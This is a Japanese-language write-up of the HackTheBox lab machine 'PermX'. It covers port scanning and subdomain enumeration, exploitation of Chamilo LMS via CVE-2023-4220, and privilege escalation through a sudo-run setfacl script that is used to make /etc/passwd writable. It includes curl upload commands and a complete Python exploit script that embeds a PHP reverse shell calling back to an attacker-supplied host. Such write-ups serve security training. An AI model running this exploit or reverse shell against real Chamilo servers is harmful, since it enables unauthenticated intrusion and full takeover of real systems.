HackTheBox PermX Writeup

# HackTheBox PermXのWriteup

HackTheBoxのPermXのWriteUpです。

難易度:easy
OS:Linux

![PermX.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/b3761103-7115-5c04-4b63-f554220bb1ec.png)

# Enumeration
## nmap

```
# Nmap 7.94SVN scan initiated Sun Jul  7 08:08:10 2024 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.20s latency).
Scanned at 2024-07-07 08:08:10 JST for 544s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/7%OT=22%CT=1%CU=41044%PV=Y%DS=2%DC=T%G=Y%TM=6689D
OS:07A%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AS
OS:T11NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Uptime guess: 5.774 days (since Mon Jul  1 13:43:20 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   164.98 ms 10.10.16.1
2   247.37 ms 10.10.11.23

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  7 08:17:14 2024 -- 1 IP address (1 host up) scanned in 544.51 seconds
```

ポートスキャンの結果から `permx.htb` というドメインを見つけたので`/etc/hosts`ファイルに追加してウェブサイトにアクセスします。

![image-20240707081847913.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e5391dc9-b4f0-4c38-2e79-0873a35dde53.png)

おそらく、オンライン学習プラットフォームのホームページ？を見つけました

ホームページ内には何も興味深いものは見つからなかったのでサブドメインとディレクトリ列挙をしていきます。

## サブドメイン・ディレクトリ列挙

lib ディレクトリと LICENSE.txt ファイルが見つかりました。

![image-20240707082539386.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/218025d7-061e-55cf-0be8-c795d6a43b35.png)

lib に移動すると

![image-20240707083148444.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/0270d67c-7198-017e-0f25-dbc0d06876a6.png)

いくつかディレクトリが見つかりました。一つずつ見ていきましたがとくに使えそうな情報はありませんでした。

次にサブドメインの列挙を行うとサブドメイン www, lms が見つかりました。

![image-20240707082905953.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/92995cb1-c7f9-6389-5fcf-823da76805a6.png)

見つけたサブドメインを/etc/hostsファイルに追加してアクセスしてみます。

www は機能しなかったので `lms` にアクセスすると `Chamilo` という無料のe-ラーニングおよびコンテンツ管理システムのログインページが見つかりました。
Chamiloのバージョン情報がわかればそこから公開されているPoCが見つかりそうです。![image-20240707083504053.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/eb2b46a3-1627-e3cb-5993-8ed0efccb5a6.png)

いくつか適当なユーザーネームやパスワードを試したが機能しなかったのでディレクトリ探索を行います。
![image-20240707084351147.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/5f736c0e-8621-61e1-5cf7-33e5d040641c.png)

`/documentation/` にアクセスするとChamiloのバージョン情報を見つけました。

![image-20240707085546255.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/879372da-82a0-d8a8-b614-2b0e891b37ef.png)

`searchsploit`で既知の脆弱性がないか調べてみると 1.11.14にRCEの脆弱性があることがわかりました。

![image-20240707085652838.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ba13c36e-4f8d-c39d-d32b-0607b378868e.png)

しかし認証情報がないのでこのPoCは使えませんでした。

認証情報を求めてディレクトリ内のファイルなどを調査しましたがそれらしきものがなかったため他にCVEがないか調べてみると以下の記事を発見しました。

[(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution](https://starlabs.sg/advisories/23/23-4220/)

`/main/inc/lib/javascript/bigupload/files` に任意のファイルをアップロードすることでRCEにつなげることができるみたいです。<br>
試してみましょう

# Exploit

## 手動で行う

まず `/main/inc/lib/javascript/bigupload/files/` フォルダがあることを確認します。

![image-20240707140100866.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d2f8597f-58d2-dabd-c8aa-ef0632ecd2a5.png)

攻撃端末で以下のコマンドを実行します。

```
echo '<?php system("id"); ?>' > rce.php
```

```
curl -F 'bigUploadFile=@rce.php''http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
```

```
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
```

id コマンドの実行に成功しました

![image-20240707140914353.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/b80a2e90-d3dc-425b-8765-19297a44060b.png)

しかしこのスクリプトでリバースシェルをいくつか送信してみましたがなぜか機能しなかったので `php-reverse-shell.php` を使用してみます。

![image-20240707141154838.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/10f719e7-b8e1-f65c-bf21-76923a721ded.png)

ファイルをアップロードしてからリスナーを立ち上げ、リクエストを送信すると

![image-20240707141258164.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/2646680b-8c41-6084-4535-257e17585a64.png)

シェルを取得できました

![image-20240707141258164.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d01d78f3-0150-c43b-9020-2ebb00e466fd.png)

## 自動で行う

かなり単純な脆弱性だったので自分でPoCを作成してみました。

```python
import requests
import argparse

def create_php_file(ip, port):
    php_code = f"""<?php set_time_limit(0);$VERSION="1.0";$ip='{ip}';$port={port};$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){{$pid=pcntl_fork();if($pid==-1){{printit("ERROR: Can't fork");exit(1);}}if($pid){{exit(0);}}if(posix_setsid()==-1){{printit("Error: Can't setsid()");exit(1);}}$daemon=1;}}else{{printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){{printit("$errstr ($errno)");exit(1);}}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){{printit("ERROR: Can't spawn shell");exit(1);}}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){{if(feof($sock)){{printit("ERROR: Shell connection terminated");break;}}if(feof($pipes[1])){{printit("ERROR: Shell process terminated");break;}}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){{if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}}if(in_array($pipes[1],$read_a)){{if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}}if(in_array($pipes[2],$read_a)){{if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){{if(!$daemon){{print "$string\\n";}}}}?>"""
    with open('reverse_shell.php', 'w') as file:
        file.write(php_code)
    print('[+] PHP file created')

def upload_file(url):
    upload_url = f"{url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported"
    files = {'bigUploadFile': open('reverse_shell.php', 'rb')}
    response = requests.post(upload_url, files=files)
    if response.status_code == 200:
        print('[+] Upload Success!')
    else:
        print('[!] Upload Failed!')

def send_request(url):
    request_url = f"{url}/main/inc/lib/javascript/bigupload/files/reverse_shell.php"
    print('[+] Send Request')
    req = requests.get(request_url)
    print(req.text)

def main():
    parser = argparse.ArgumentParser(
        prog='permx_exploit.py', 
        usage='python3 permx_exploit.py -u <target url> -l <lhost> -p <lport>',
        description='(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution PoC', 
        epilog='end', 
        add_help=True,
    )
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-l', '--lhost', required=True, help='Local host IP')
    parser.add_argument('-p', '--lport', required=True, help='Local port')
    args = parser.parse_args()

    create_php_file(args.lhost, args.lport)
    upload_file(args.url)
    send_request(args.url)

if __name__ == '__main__':
    main()

```

リスナーを起動して正しい引数を付けて実行することでシェルを取得できます。

![image-20240714162309382.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/98455b70-ba77-0405-e229-916f09cec3d2.png)

# Privilege Escalation

## mtz

/homeディレクトリを調べると `mtz` というユーザーがいることがわかったので横移動する必要がありそうです。

![image-20240707141811278.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/89694858-70f2-f9ea-7abe-6d771ac174a4.png)

Chamiloのディレクトリ構成をGoogleで調べていると `app/config/configuration.php` に認証情報が格納されていることが分かりました。

![image-20240707141633659.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/39124cdb-e09b-9a56-f0db-1cfc222a3eb6.png)

このパスワードを mtz でssh接続できないか試してみます。

![image-20240707141954619.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8243d0e3-6643-5e43-2252-bc167a3ff5f0.png)

ログインに成功しuser.txtを取得しました

![image-20240707142051354.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/3022efa9-e72a-1013-01af-381673d2f833.png)

## root

脳死でlinpeas.shを実行します。

![image-20240707142905584.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/0f94ed9c-d92e-91d2-b796-615829983749.png)

パスワードなしでrootとして実行できるスクリプトを見つけました。

![image-20240707142804993.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d28f13f7-47d7-0fd2-75cf-2cb04c6c756c.png)

スクリプトの内容を見てみます。

![image-20240707144302762.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d0991c07-296f-1030-d632-1c4e68c38206.png)

このスクリプトは第一引数にユーザー名、第二引数に与える権限、第三引数に権限を与えるファイル名を指定して実行することでsetfaclを使用して任意の権限を与えることができるスクリプトでした。

setfaclがsudoで実行されることが分かるのでroot権限でしか閲覧できないファイルに書き込み、読み取り、実行を行える権限を付与できます。

/etc/passwordに書き込み権限を付与することでroot権限を持った新しいユーザーを作成できそうです。

適当にパスワードを作成します。

![image-20240707170729633.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/f88d8aac-4a78-80af-02fb-1c78eb689fab.png)

/etc/passwdのシンボリックリンクを作成

![image-20240707170618532.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/2b4224d0-304f-bb71-58db-f95abb83d0e2.png)

`/opt/acl.sh` スクリプトでシンボリックリンクに権限を与えます。

![image-20240707170846035.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/cc4bd508-5367-b2d8-22d3-2692e35f9b64.png)

vimでファイルを開き以下のように作成したパスワードハッシュを記入します。

![image-20240707170953293.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/22242f25-903e-3e13-9e37-e5dae086098e.png)

記入したら新しく作成したユーザーにログイン

![image-20240707171251867.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/40ada0e1-5b36-8669-dd8f-fb914dc89a3d.png)

rootになれました。

![image-20240707171350139.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/93af2472-d470-8d21-f919-882f84d4e892.png)

root.txtを取得して終了です。